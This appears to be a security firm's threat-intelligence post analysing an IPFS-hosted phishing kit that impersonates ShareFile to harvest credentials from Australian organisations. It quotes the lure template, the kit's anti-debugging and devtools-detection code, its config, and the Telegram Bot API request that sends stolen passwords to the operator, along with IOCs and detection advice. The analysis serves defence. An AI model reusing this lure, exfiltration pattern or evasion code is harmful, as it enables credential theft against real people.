Phillip Roberts | 28 July 2026
This post details the technical operation of a credential harvesting campaign observed targeting ASX-listed organisations beginning in July 2026. The campaign combines three techniques that, together, represent a meaningful shift from traditional phishing infrastructure:
The page also implements multiple anti-analysis techniques intended to frustrate defenders performing browser-based investigation. Static analysis of the retrieved source, combined with direct interrogation of the Telegram Bot API, allowed full reconstruction of the exfiltration chain and yielded operator-level attribution artefacts.
Victims received an email impersonating internal IT/admin communications, using the following pattern:
| Field | Value |
|---|---|
| Subject | Admin [target organisation domain] Sent you a ShareFile Document |
| Sender addresses | jcfortes@uhu[.]es, info@uhu[.]es |
| Display name | [Target Organisation] Admin |
| Theme | Spoofed internal ShareFile document-sharing notification |
The sending domain (uhu.es) resolves to Universidad de Huelva, a Spanish public university. This is consistent with the sending mailbox being a compromised legitimate account used to relay lures, rather than attacker-owned infrastructure. This is a common technique that leverages an existing domain's mail reputation to bypass sender-reputation-based filtering.
The lure URL embedded in the email points to the IPFS-hosted phishing kit, with the victim's email address passed as a URL parameter.
The credential harvesting page is not hosted on conventional web infrastructure. It is published to the InterPlanetary File System (IPFS) and addressed by a Content Identifier (CID):
bafybeihfmenxt6xczenlg6kyanl5vapgbbip643ummy7kwf4oyokcsvgv4
Content on IPFS is content-addressed: the CID is a cryptographic hash of the content itself, meaning the same CID will always resolve to the same bytes regardless of which node or gateway serves it. This has direct implications for defenders:
bafybeihfmenxt6xczenlg6kyanl5vapgbbip643ummy7kwf4oyokcsvgv4.ipfs.inbrowser.link) observed in the original lure uses a service-worker-based verified-fetch gateway. This gateway ships only a minimal HTML bootstrap; the actual page content is fetched and cryptographically verified against the CID inside a browser-installed Service Worker (@helia/verified-fetch). Consequently, tools that do not execute JavaScript or register service workers — curl, wget, simple HTTP clients — will retrieve only the bootstrap page, not the phishing content, when queried against this style of gateway.ipfs.io/ipfs/<CID>/, dweb.link/ipfs/<CID>/) resolve and verify content server-side and return the raw bytes in an ordinary HTTP response, making them suitable for static analysis with conventional tooling.Directory listing of the CID via a path gateway revealed the following relevant files:
index.html — the phishing page itself (styled with Tailwind CSS, obfuscated inline variable/function names)config.json — runtime configuration containing the Telegram exfiltration parametersThe lure URL takes the form:
https://[gateway]/ipfs/bafybeihfmenxt6xczenlg6kyanl5vapgbbip643ummy7kwf4oyokcsvgv4/?auth=<base64-or-plaintext victim email>
On page load, client-side JavaScript:
auth query parameter.atob() (base64) decoding; falls back to the raw value if decoding fails.This is the most operationally interesting component of the kit. Rather than shipping a separate, pre-built fake login page per target organisation, the kit derives the target organisation entirely from the victim's own email domain at runtime and constructs a convincing impersonation using three unrelated, legitimate, free third-party APIs.
The relevant logic extracts the domain from the email (e.g. phillip@fortian.com.au → fortian.com.au) and issues three separate requests, each base64-encoded in the source to frustrate naive static string-matching:
| Purpose | Decoded endpoint | Effect |
|---|---|---|
| Company logo | https://logo.clearbit.com/<domain> |
Non-functional as of this analysis. The logo.clearbit.com free Logo API was deprecated by HubSpot (Clearbit's owner since its 2023 acquisition) in March 2025 and fully shut down on 1 December 2025. As of this writeup, requests to logo.clearbit.com fail to connect and return no image. |
| Favicon | https://www.google.com/s2/favicons?domain=<domain> |
Google's public favicon service returns the real favicon for the domain, set as the browser tab icon, reinforcing legitimacy in the tab bar itself. |
| Page background | https://api.microlink.io/?url=https://<domain>&screenshot=true&meta=false&embed=screenshot.url |
Microlink is a legitimate URL-preview/screenshot-as-a-service API (normally used for social share cards and link previews). Given any public URL, it renders that page in a headless browser on Microlink's own infrastructure and returns a screenshot image URL. The kit sets this screenshot as the page's CSS background-image. |
No content from the target organisation's actual website is fetched, proxied, or embedded live. The visual impression of "this is my company's real portal" is produced entirely by a static screenshot, fetched on demand per victim domain from a third-party API that has no visibility into how its output is being used. This makes the kit:
The kit also sets the page <title> dynamically to match the extracted organisation name, and localises all visible strings (login prompt, error/success messages, button text) via a large embedded translation table keyed on navigator.language, supporting well over 100 locale variants.
On page load, the kit fetches a same-directory config.json:
{
"telegram": {
"chatId": "7132118204",
"token": "7081449529:AAEZ...[REDACTED]"
}
}
This separates the exfiltration credentials from the page logic itself, allowing the same index.html/JS bundle to be redeployed against different Telegram bots/operators simply by swapping config.json — consistent with this being a templated, reusable kit artefact rather than a bespoke build.
On form submission, the page:
auth parameter).https://ipinfo.io/json to resolve the victim's approximate geolocation and public IP from their own browser session (a free public IP-geolocation API, called client-side, requiring no attacker-side infrastructure).navigator.userAgent stringPOST https://api.telegram.org/bot<token>/sendMessage
Content-Type: application/json
{
"chat_id": "<chatId>",
"text": "<formatted HTML message>",
"parse_mode": "HTML"
}
This delivers the harvested credentials directly into the operator's Telegram client in real time. From a network-defence perspective, this traffic is a standard HTTPS POST to api.telegram.org — a domain which carries no distinguishing characteristics (no unusual TLS fingerprint, no attacker-controlled domain, no suspicious hosting ASN) that would flag it as malicious exfiltration at the network layer unless api.telegram.org is explicitly categorised and blocked by web-filtering policy.
The kit tracks failed submission attempts client-side (ir6akilggq counter). On the third submission, rather than continuing to solicit passwords, the page:
This serves two purposes: it harvests multiple password attempts per victim (useful where victims mistype, or where they deliberately enter a decoy password first), and it reduces victim suspicion by ending the interaction with an apparently successful login and a bounce to the genuine site, rather than a persistent error state.
The kit implements three distinct client-side anti-analysis mechanisms aimed at frustrating browser-based investigation.
Debugger timing loop.
function lecufue9fb() {
const start = performance.now();
debugger;
if (performance.now() - start > 100) {
return true;
}
setTimeout(lecufue9fb, 1000);
}
lecufue9fb();
This recursively schedules a debugger; statement every second and measures elapsed time across it. If browser developer tools are open and paused on the statement, elapsed time exceeds the 100ms threshold and the function halts its recursive rescheduling. This is a standard, low-sophistication technique for detecting an attached debugger via execution-timing side effects.
Input/shortcut blocking. Standard contextmenu (right-click) and keydown event handlers preventDefault() on common developer-tools shortcuts (F12, Ctrl+Shift+I/J/C, Ctrl+U, Ctrl+S, Cmd equivalents) and browser refresh shortcuts. This is easily bypassed via the browser's menu-based devtools access (as opposed to keyboard shortcuts) and provides only nominal friction.
Viewport-delta devtools detection.
const devtoolsCheck = () => {
const widthThreshold = window.outerWidth - window.innerWidth > 160;
const heightThreshold = window.outerHeight - window.innerHeight > 160;
if (!(heightThreshold && widthThreshold) &&
(... || widthThreshold || heightThreshold)) {
devtoolsOpen = true;
document.body.innerHTML = '...';
window.location.href = 'about:blank';
}
};
setInterval(devtoolsCheck, 1000);
Polled every second, this compares the browser window's outer dimensions against the page's inner viewport dimensions. Docked developer tools panels (bottom or side of the browser window) reduce innerWidth/innerHeight relative to outerWidth/outerHeight; a delta exceeding 160px in exactly one axis — but not both, which would instead indicate an ordinary resized or scaled window — is treated as evidence of an open devtools panel, triggering an immediate redirect to about:blank and destruction of the page content.
Analyst bypass: Undocking developer tools into a separate window keeps inner/outer dimensions equal, defeating this check. Combined with disabling breakpoints or blackboxing the offending script to neutralise the debugger timing loop, this permits live interaction with the page under monitored conditions. Static retrieval and analysis of the page source via a path-resolving IPFS gateway avoids the need to interact with the live, monitored page at all.
Direct, read-only interrogation of the Telegram Bot API using the token recovered from config.json yielded the following:
| Artefact | Value | Method |
|---|---|---|
| Bot numeric ID | 7081449529 | getMe |
| Bot display name | officebassss | getMe |
| Bot username | @officebassssBot | getMe |
| Operator (chat) numeric ID | 7132118204 | getChat (using chatId from config.json) |
| Operator display name | AXD Abu | getChat |
| Operator username (at time of analysis) | @ASDbubu | getChat |
| Chat type | private (1:1, bot ↔ single operator account) | getChat |
| Configured webhook | None (url: "") | getWebhookInfo |
Assessment: The numeric Telegram user ID (7132118204) is a durable attribution artefact as, unlike usernames, it cannot be changed. The chat type being private confirms the credentials are delivered to a single individual operator account rather than a group or channel with multiple members.
No write/state-changing API calls (setWebhook, sendMessage, banChatMember, etc.) were made against the bot, both to avoid tipping off the operator (risking token rotation and loss of the established pivot) and because such actions fall outside passive OSINT into active interference with a third party's infrastructure.
Email delivery:
jcfortes@uhu[.]esinfo@uhu[.]esAdmin [target domain] Sent you a ShareFile Document[Target Organisation] AdminPhishing infrastructure:
bafybeihfmenxt6xczenlg6kyanl5vapgbbip643ummy7kwf4oyokcsvgv4bafybeihfmenxt6xczenlg6kyanl5vapgbbip643ummy7kwf4oyokcsvgv4[.]ipfs.inbrowser[.]link?auth=<base64-or-plaintext victim email>Exfiltration:
api.telegram[.]org/bot7081449529:AAEZ...[REDACTED]/sendMessage7081449529@officebassssBot7132118204@ASDbubuThird-party APIs abused (benign services, listed for detection/allowlisting context, not IOCs in themselves):
logo.clearbit.comwww.google.com/s2/faviconsapi.microlink.ioipinfo.ioipfs.io, dweb.link, w3s.link, 4everland.io and *.ipfs.* subdomain gateways), or to any URL containing the /ipfs/<CID> path pattern. Also alert on connections to Telegram API endpoints.api.microlink.io, logo.clearbit.com, and ipinfo.io in quick succession within a single page load is a further behavioural fingerprint of this kit family.Request a consultation with one of our security specialists today or sign up to receive our monthly newsletter via email.
Get in touch Sign up!